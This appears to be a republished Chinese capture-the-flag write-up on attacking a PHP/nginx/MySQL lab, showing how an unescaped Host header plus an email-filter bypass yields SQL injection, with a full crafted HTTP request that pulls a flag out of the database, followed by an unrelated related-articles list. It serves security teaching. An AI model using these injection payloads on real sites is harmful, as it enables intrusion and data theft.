攻擊LNMP架構Web應用

環境配置(centos7)

1.php56 + php56-fpm

//配置epel
yum install epel-release
rpm -ivh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm//安裝php56，php56-fpm及其依賴
yum --enablerepo=remi install php56-php
yum  --enablerepo=remi install php56-php-devel php56-php-fpm php56-php-gd php56-php-xml php56-php-sockets php56-php-session php56-php-snmp php56-php-mysql

2.nginx

①去往cd /usr/share/nginx/html/ 新建目錄kaka，將protected文件夾和web文件夾放入kaka目錄

②再去往protected目錄下找到config.php設置與mysql5.7的連接

<?phpdate_default_timezone_set('PRC');$config = array('rewrite' => array('<m>/<c>/<a>'          => '<m>/<c>/<a>','<c>/<a>'          => '<c>/<a>','/'                => 'main/index',),'debug' => 1,'mysql' => array('MYSQL_HOST' => 'localhost','MYSQL_PORT' => '3306','MYSQL_USER' => 'root','MYSQL_DB'   => 'LNMP','MYSQL_PASS' => 'QWER97!','MYSQL_CHARSET' => 'utf8mb4',),
);
return $config;

③修改nginx配置文件nginx.conf，添加以下內容

server{listen 80;root /usr/local/nginx/html/kaka/web;index index.html index.php;server_name 2023.saorikaka.pw;location / {try_files $uri $uri/ /index.php;}location ~ \.php$ {fastcgi_pass   127.0.0.1:9000;fastcgi_index  index.php;fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;include        fastcgi_params;}
}

④找到html目錄下的index.html文件

在body添加內容

<form action="" method="post" enctype="multipart/form-data"></form>

⑤去 /protected/view 找main_register.html文件添加內容enctype="multipart/form-data"

?⑥嘗試登陸該網頁，使用IP地址登陸，看是否跳轉到 IP地址/main/log，如果357行報錯，我們可以去/protected/lib目錄下的core.php中將 $GLOBALS['view']['compile_dir']后的內容改為 ‘/tmp’

?成功登陸后去往regist注冊頁面

?

3.mysql5.7

//mysql 隨便創建一個數據庫并使用，添加如下代碼創建存放flag的數據表
SET NAMES utf8;
SET FOREIGN_KEY_CHECKS = 0;DROP TABLE IF EXISTS `flags`;
CREATE TABLE `flags` (`id` int(10) unsigned NOT NULL AUTO_INCREMENT,`flag` varchar(256) DEFAULT NULL,PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4;DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (`id` int(10) unsigned NOT NULL AUTO_INCREMENT,`username` varchar(256) NOT NULL,`password` varchar(32) NOT NULL,`email` varchar(256) DEFAULT NULL,PRIMARY KEY (`id`),UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=15 DEFAULT CHARSET=utf8mb4;SET FOREIGN_KEY_CHECKS = 1;//插入一個flag
insert into flags (flag) value ('I_Love_security');

題干

注冊、登錄功能相關代碼

<?php
escape($_REQUEST);
escape($_POST);
escape($_GET);function escape(&$arg) {if(is_array($arg)) {foreach ($arg as &$value) {escape($value);}} else {$arg = str_replace(["'", '\\', '(', ')'], ["‘", '\\\\', '（', '）'], $arg);}
}function arg($name, $default = null, $trim = false) {if (isset($_REQUEST[$name])) {$arg = $_REQUEST[$name];} elseif (isset($_SERVER[$name])) {$arg = $_SERVER[$name];} else {$arg = $default;}if($trim) {$arg = trim($arg);}return $arg;
}

值得注意的點

1.escape是將GPR中的單引號、圓括號轉換成中文符號，反斜線進行轉義

2.$_REQUEST,$_POST,$_GET全都需要經過escape函數的過濾

3.arg是獲取用戶輸入的$_REQUEST或$_SERVER。但這里$_SERVER變量沒有經過轉義

控制代碼

<?php
function actionRegister(){if ($_POST) {$username = arg('username');$password = arg('password');if (empty($username) || empty($password)) {$this->error('Username or password is empty.');}$email = arg('email');if (empty($email)) {$email = $username . '@' . arg('HTTP_HOST');}if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {$this->error('Email error.');}$user = new User();$data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}'");if ($data) {$this->error('This username is exists.');}$ret = $user->create(['username' => $username,'password' => md5($password),'email' => $email]);if ($ret) {$_SESSION['user_id'] = $user->lastInsertId();} else {$this->error('Unknown error.');}}}

值得注意的點

1.賬號和密碼被empty函數檢測，不可以為空，會報錯。

2.郵箱不填寫內容會自動設置為"用戶名@網站域名"

3.create方法其實就是拼接了一個INSERT語句

4.因為$_SERVER沒有經過轉義，我們只需要在HTTP頭Host值中引入單引號，即可造成一個SQL注入漏洞，但email變量經過了filter_var($email, FILTER_VALIDATE_EMAIL)的檢測，我們首先要繞過FILTER_VALIDATE_EMAIL

繞過FILTER_VALIDATE_EMAIL

FILTER_VALIDATE_EMAIL的規則

RFC 3696規定，郵箱地址分為local part和domain part兩部分。local part中包含特殊字符，需要如下處理：

  1. 將特殊字符用\轉義，如Joe\'Blow@example.com
  2. 或將local part包裹在雙引號中，如"Joe'Blow"@example.com
  3. local part長度不超過64個字符

雖然PHP沒有完全按照RFC 3696進行檢測，但支持上述第2種寫法。所以，我們可以利用其繞過FILTER_VALIDATE_EMAIL的檢測

繞過思路一

因為代碼中郵箱是用戶名、@、Host三者拼接而成，但用戶名是經過了轉義的，所以單引號只能放在Host中。我們可以傳入用戶名為"，Host為aaa'"@example.com，

(將單引號'被包裹在雙引號""中)

最后拼接出來的郵箱為"@aaa'"@example.com

簡單來說

username 給一個 "

host 給一個 aaa'"@example.com

按照函數里拼接的方法 username + @ +host

結果就是"@aaa'"@example.com? 這樣單引號'就被帶進去了

利用burpsuite進行繞過測試

1.輸入? 賬號 "x? 密碼隨意?? email空著就行?

2.打開抓包工具 intercept is on

3.在網頁上輸入我們預想的賬號和密碼，進行sign up

4.查看抓包工具

?5.將內容全選 send to Repeater

6.去掉一些沒有用的雜質

POST /main/register HTTP/1.1
Host: 192.168.226.140
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryloAJbBwR6NkeAfK6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7------WebKitFormBoundaryloAJbBwR6NkeAfK6
Content-Disposition: form-data; name="username""x
------WebKitFormBoundaryloAJbBwR6NkeAfK6
Content-Disposition: form-data; name="password"123kaka
------WebKitFormBoundaryloAJbBwR6NkeAfK6--

7.真正準備繞過?

修改host為 aaaa'"@qq.com

8.send提交

?

可以看見單引號 ' 已經進入了

語法錯誤是因為多了一個單引號，出錯才代表注入成功

查看網頁內容

可見已經繞過成功?

繞過思路二——雙host

更早版本，差不多 nginx1.15.10的時候? 使用兩個Host頭

當我們傳入兩個Host頭的時候，Nginx將以第一個為準，而PHP-FPM將以第二個為準

當我們傳入如下

Host: 2023.mhz.pw

Host: xxx'"@example.com

Nginx將認為Host為2023.mhz.pw，并交給目標Server塊處理；但PHP中使用$_SERVER['HTTP_HOST']取到的值卻是xxx'"@example.com

繞過思路三——insert注入方法

POST /main/register HTTP/1.1
Host: 2023.mhz.pw
Host: '),('t123',md5(12123),(select(flag)from(flags)))#"@a.com
insert into users values ('"a','dsadsadasdwdasda','"a@'),('t123',md5(12123),(select(flag)from(flags)))#"@a.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=--------356678531
Content-Length: 176----------356678531
Content-Disposition: form-data; name="username""a
----------356678531
Content-Disposition: form-data; name="password"aaa
----------356678531--

閉合之前的insert語句并添加一個用戶t123，將flag讀取到email字段

本文來自互聯網用戶投稿，該文觀點僅代表作者本人，不代表本站立場。本站僅提供信息存儲空間服務，不擁有所有權，不承擔相關法律責任。
如若轉載，請注明出處：http://www.pswp.cn/news/39856.shtml
繁體地址，請注明出處：http://hk.pswp.cn/news/39856.shtml
英文地址，請注明出處：http://en.pswp.cn/news/39856.shtml

如若內容造成侵權/違法違規/事實不符，請聯系多彩編程網進行投訴反饋email:809451989@qq.com，一經查實，立即刪除！

相關文章

常見的字符編碼有哪些？有什么區別？

常見的字符編碼有哪些？有什么區別？

目錄 面試回答 知識擴展 Unicode 和 UTF-8 有啥關系&#xff1f; 有了 UTF-8&#xff0c;為什么要出現 GBK 為什么會出現亂碼 面試回答 就像電報只能發出“滴”和“答”聲一樣&#xff0c;計算機只認為 0 和1 兩種字符&#xff0c;但是&#xff0c;人類的文字是多種多樣的&…
閱讀更多...
B樹和B+樹區別

B樹和B+樹區別

B樹和B樹的區別 B樹 B樹被稱為平衡樹&#xff0c;在B樹中&#xff0c;一個節點可以有兩個以上的子節點。B樹的高度為log M N。在B樹中&#xff0c;數據按照特定的順序排序&#xff0c;最小值在左側&#xff0c;最大值在右側。 B樹是一種平衡的多分樹&#xff0c;通常我們說m階…
閱讀更多...
什么是網絡地址轉換 （NAT）

什么是網絡地址轉換 （NAT）

網絡地址轉換&#xff08;NAT&#xff09;是更改源和目標 IP 地址和端口的過程&#xff0c;地址轉換減少了對 IPv4 公共地址的需求&#xff0c;并隱藏了專用網絡地址范圍&#xff0c;該過程通常由路由器或防火墻完成。 NAT是如何工作的 NAT 允許單個設備&#xff08;如路由器…
閱讀更多...
rhel 8.7 部署 keepalived+haproxy 實現 mysql 雙主高可用場景

rhel 8.7 部署 keepalived+haproxy 實現 mysql 雙主高可用場景

文章目錄 [toc]部署 mysql關閉防火墻關閉 selinux創建相關目錄創建 mysql 用戶配置 PATH 變量驗證 mysql 命令切換到 mysql 用戶在 172.72.0.116 生成配置文件在 172.72.0.137 生成配置文件mysql 初始化啟動 mysql 服務修改 mysql 的 root 用戶密碼配置主從關系172.72.0.137 配…
閱讀更多...
數字化格局下的引領者：百望云通過強制性國家標準GB18030-2022最高級別認證

數字化格局下的引領者：百望云通過強制性國家標準GB18030-2022最高級別認證

8月1日,強制性國家標準GB 18030-2022《信息技術 中文編碼字符集》實施。8月15日,百望云“綠頁閱讀器”正式通過中國電子技術標準化研究院強制性國家標準GB18030-2022《信息技術 中文編碼字符集》最高級(實現級別3)認證,彰顯了百望云在數字化信息處理領域對標國家標準的卓越技術…
閱讀更多...
Android CameraX適配Android13的踩坑之路

Android CameraX適配Android13的踩坑之路

AndroidCameraX適配Android13的踩坑之路 前言&#xff1a; 最近把AGP插件升級到8.1.0&#xff0c;新建項目的時候目標版本和編譯版本都是33&#xff0c;發現之前的demo使用Camerax拍照和錄像都失敗了&#xff0c;于是查看了一下官網和各種資料&#xff0c;找到了Android13的適…
閱讀更多...
網絡編程(12): TCP重傳、滑動窗口、流量控制、擁塞控制

網絡編程(12): TCP重傳、滑動窗口、流量控制、擁塞控制

1、TCP重傳機制 通過序列號和確認號確保可靠傳輸&#xff0c;當發送端發送數據給接收到&#xff0c;接收端會返回一個確認號&#xff0c;表示收到消息了 超時重傳&#xff1a;沒有在指定時間內收到ACK報文 超時重傳的兩種可能&#xff1a;數據包丟失、確認包丟失超時重傳時間RT…
閱讀更多...
第十三課：QtCmd 命令行終端應用程序開發

第十三課：QtCmd 命令行終端應用程序開發

功能描述&#xff1a;開發一個類似于 Windows 命令行提示符或 Linux 命令行終端的應用程序 一、最終演示效果 QtCmd 不是因為它是 Qt 的組件&#xff0c;而是采用 Qt 開發了一個類似 Windows 命令提示符或者 Linux 命令行終端的應用程序&#xff0c;故取名為 QtCmd。 上述演示…
閱讀更多...
FreeMarker系列--list的用法（長度,遍歷,下標,嵌套,排序）

FreeMarker系列--list的用法（長度,遍歷,下標,嵌套,排序）

原文網址&#xff1a;FreeMarker系列--list的用法&#xff08;長度,遍歷,下標,嵌套,排序&#xff09;_IT利刃出鞘的博客-CSDN博客 簡介 本文介紹FreeMarker的list的用法。 大小 Java ArrayList<String> list new ArrayList<String>(); Freemaker ${list?s…
閱讀更多...
W5500-EVB-PICO 做UDP Server進行數據回環測試（七）

W5500-EVB-PICO 做UDP Server進行數據回環測試（七）

前言 前面我們用W5500-EVB-PICO 開發板在TCP Client和TCP Server模式下&#xff0c;分別進行數據回環測試&#xff0c;本章我們將用開發板在UDP Server模式下進行數據回環測試。 UDP是什么&#xff1f;什么是UDP Server&#xff1f;能干什么&#xff1f; UDP (User Dataqram P…
閱讀更多...
圖數據庫_Neo4j學習cypher語言_使用CQL命令002_刪除節點_刪除屬性_結果排序Order By---Neo4j圖數據庫工作筆記0006

圖數據庫_Neo4j學習cypher語言_使用CQL命令002_刪除節點_刪除屬性_結果排序Order By---Neo4j圖數據庫工作筆記0006

然后我們再來看如何刪除節點 可以看到首先 我們這里 比如我要刪除張三 可以看到 match (n:student) where n.name = "張三" delete n 這樣就是刪除了student集合中,name是張三的節點 然后我們再來看 如何來刪除關系 match (n:student)-[r]->(m:student) where…
閱讀更多...
機器學習、cv、nlp的一些前置知識

機器學習、cv、nlp的一些前置知識

為節省篇幅&#xff0c;不標注文章來源和文章的問題場景。大部分是我的通俗理解。 文章目錄 向量關于向量的偏導數&#xff1a;雅可比矩陣二階導數矩陣&#xff1a;海森矩陣隨機變量隨機場伽馬函數beta分布數學術語坐標上升法協方差訓練集&#xff0c;驗證集&#xff0c;測試集…
閱讀更多...
Nginx的安裝及負載均衡搭建

Nginx的安裝及負載均衡搭建

一.Nginx的安裝 1&#xff09;準備安裝環境 yum install -y make gcc gcc-c pcre-devel pcre zlib zlib-devel openssl openssl-develPERE PCRE(Perl Compatible Regular Expressions)是一個Perl庫&#xff0c;包括 perl 兼容的正則表達式庫。 nginx的http模塊使用pcre來解…
閱讀更多...
前端jd要求：了解一門后端開發語言優先 解決方案之Node.js

前端jd要求：了解一門后端開發語言優先 解決方案之Node.js

前端jd要求&#xff1a;了解一門后端開發語言優先 解決方案之Node.js 前言常見的后端開發語言一、什么是 Node.js二、學習 Node.js 的前置知識三、學習 Node.js 的步驟1、Node.js 的安裝2、Node.js 的基本語法和 API模塊導入和導出文件讀寫操作HTTP 服務器命令行參數 3、Node.j…
閱讀更多...
可能導致不可接受的信息安全事件發生的核電站事故。

可能導致不可接受的信息安全事件發生的核電站事故。

立陶宛伊格納利納核電站&#xff08;1992 年&#xff09; 一名在該核電站工作的程序員將惡意代碼上傳到一個負責反應堆子系統運行的自動化系統中&#xff0c;該系統被及時發現。 但如果沒有及時發現&#xff0c;誰知道會發生什么呢&#xff1f;核電站被關閉以進行調查。有關這…
閱讀更多...
Vue-8.集成（.editorconfig、.eslintrc.js、.prettierrc）

Vue-8.集成（.editorconfig、.eslintrc.js、.prettierrc）

介紹 同時使用 .editorconfig、.prettierrc 和 .eslintrc.js 是很常見的做法&#xff0c;因為它們可以在不同層面上幫助確保代碼的格式一致性和質量。這種組合可以在開發過程中提供全面的代碼維護和質量保證。然而&#xff0c;這也可能增加一些復雜性&#xff0c;需要謹慎配置…
閱讀更多...
Coreutils工具包，Windows下使用Linux命令

Coreutils工具包，Windows下使用Linux命令

之前總結過兩篇有關【如何在Windows系統下使用Linux的常用命令】的文章&#xff1a; GnuWin32&#xff0c;Windows下使用Linux命令 UnxUtils工具包&#xff0c;Windows下使用Linux命令 今天再推薦一個類似的工具包Coreutils 一、簡介 GNU core utilities是GNU操作系統基本…
閱讀更多...
【HDFS】hdfs的count命令的參數詳解

【HDFS】hdfs的count命令的參數詳解

Usage: hadoop fs -count [-q] [-h] [-v] [-x] [-t [<storage type>]] [-u] [-e] [-s] <paths
閱讀更多...
（學習筆記-進程管理）怎么避免死鎖？

（學習筆記-進程管理）怎么避免死鎖？

死鎖的概念 在多線程編程中&#xff0c;我們為了防止多線程競爭共享資源而導致數據錯亂&#xff0c;都會在操作共享資源之前加上互斥鎖&#xff0c;只有成功獲得到鎖的線程&#xff0c;才能操作共享資源&#xff0c;獲取不到鎖的線程就只能等待&#xff0c;直到鎖被釋放。 那…
閱讀更多...
創建一個簡單的HTML Viewer應用程序

創建一個簡單的HTML Viewer應用程序

使用wxPython和內嵌瀏覽器來創建一個簡單的HTML Viewer應用程序。 在本篇文章中&#xff0c;我們將使用Python和wxPython模塊來創建一個簡單的HTML Viewer應用程序。這個應用程序可以讓用戶輸入HTML內容&#xff0c;并在內嵌瀏覽器中顯示該內容的效果。 準備工作 在開始之前…
閱讀更多...
最新文章

Copyright @ 2022~2023